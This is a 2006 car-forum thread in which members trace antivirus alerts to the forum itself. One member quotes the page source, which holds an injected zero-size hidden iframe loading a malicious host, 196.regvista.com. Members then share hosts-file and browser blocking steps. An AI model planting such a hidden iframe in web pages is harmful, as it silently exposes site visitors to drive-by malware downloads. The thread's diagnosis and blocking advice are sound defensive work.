Popups When Loading Forum

[nilsson870]

  TurboCrazy said:

Yes I have had the same problem for the last few days. I have Trend Micro and it keeps coming up with the message:

Trend micro has detected the following spyware file:  EXPL TXTRANGE.A

Only comes up on this site.

←

Yea I get the same as this!, ive tried that windows defender, ad adware, spybot, and full scan with pc-cillin, with it still happening, and ive tired 2 different web browsers,

and I get to the site though a favourite, www.fordxr6turbo.com/forum

so if I no

ill do some searching

[saleen]

Quick, shut her off!!!!

[Superoo]

  Adam said:

  paddlekiwi said:

Still doing it....

Symantec reports:

Scan type:  Auto-Protect Scan

Event:  Security Risk Found!

Threat: Downloader

File:  C:\DOCUME~1\XXXXXXXX\LOCALS~1\TEMPOR~1\Content.IE5\TBD4L0TC\0DAY_1~1.HTM

Location:  Unknown Storage

Computer:  A0065112

User:  XXXXXXX

Action taken:  Delete succeeded : Access denied

Date found: Wednesday, 12 July 2006  19:59:18

 

←

Yep. That's the one I'm getting.

←

Same here on both my laptop and home PC.

[Paranormal]

Attention web admins. The bug is loading from your site!

Simply go to almost any page and veiw source, then search for regvista, heres and example -

My Garage</a><a href="javascript:chat_pop(850, 400);">Live Chat</a><iframe src="http://196.regvista.com/index.php?ref=nu" width="0" height="0" frameborder="0"></iframe><!--IBF.TSLLINK--><a href="http://www.fordxr6turbo.com/forum/index.php?act=contact">Contact Us</a>

that's written into the hml code of your site and every time I hit my back button it trys to load sites from 196.regvista.com

And heres what symantec say -

As can be seen at the Symantec website, www.symantec.com/avcente....exploit.56.html, it lists the site “196.regvista.com/” as being reported to contain malicious files that trigger the exploit.

Regvista symantec

Until the admins clean it from the forum site I suggest everyone who can just block 196.regvista.com site prefferably at adsl modem / router level.

[jetute]

  Paranormal said:

Until the admins clean it from the forum site I suggest everyone who can just block 196.regvista.com site prefferably at adsl modem / router level.

←

WTF

english please mate

[Paranormal]

The Billion web site forum got hit badly as well check this whirlpool fourm for info -

Regvista infections

[jetute]

ok... so it seems its not our problem and the site needs to fix it

[Paranormal]

Well basically the site seams to have have some malisious code put into it that trys to redirect you or pop up an infected advert from 196.regvista.com.

For those people who have the problem of having to hit the back button twice because their browser is hanging trying to load this ad.

You need to place a line in your hosts file like this -

go to my computer, C:\WINDOWS\system32\drivers\etc then double click on hosts and open with notepad, then add the line -

127.0.0.1 196.regvista.com

To the bottom of the list.

Problem solved your browser will no longer look for that site and back button will work again.

You can also add the bad site to your browser go to tools/internet optins/security/click restricted sites then the sites button then add 196.regvista.com

And yes Jetute it is the sites problem to remove the links but several forums have been hit with this problem and even after cleaning the site of the links they seam to get back in again so it may take some time. Best to protect yourself in the mean time, do as advised above and install good anti spyware software.

[jetute]

  Paranormal said:

Well basically the site seams to have have some malisious code put into it that trys to redirect you or pop up an infected advert from 196.regvista.com.

For those people who have the problem of having to hit the back button twice because their browser is hanging trying to load this ad.

You need to place a line in your hosts file like this -

go to my computer, C:\WINDOWS\system32\drivers\etc then double click on hosts and open with notepad, then add the line -

127.0.0.1  196.regvista.com

To the bottom of the list.

Problem solved your browser will no longer look for that site and back button will work again.

You can also add the bad site to your browser go to tools/internet optins/security/click restricted sites then the sites button then add 196.regvista.com

←

so when its added, do I just close the notepad or do I have to save it or something??

well no need to answer... it becomes obvious when you do it

thanks for the info para

[Adam]

Thanks for that info Paranormal.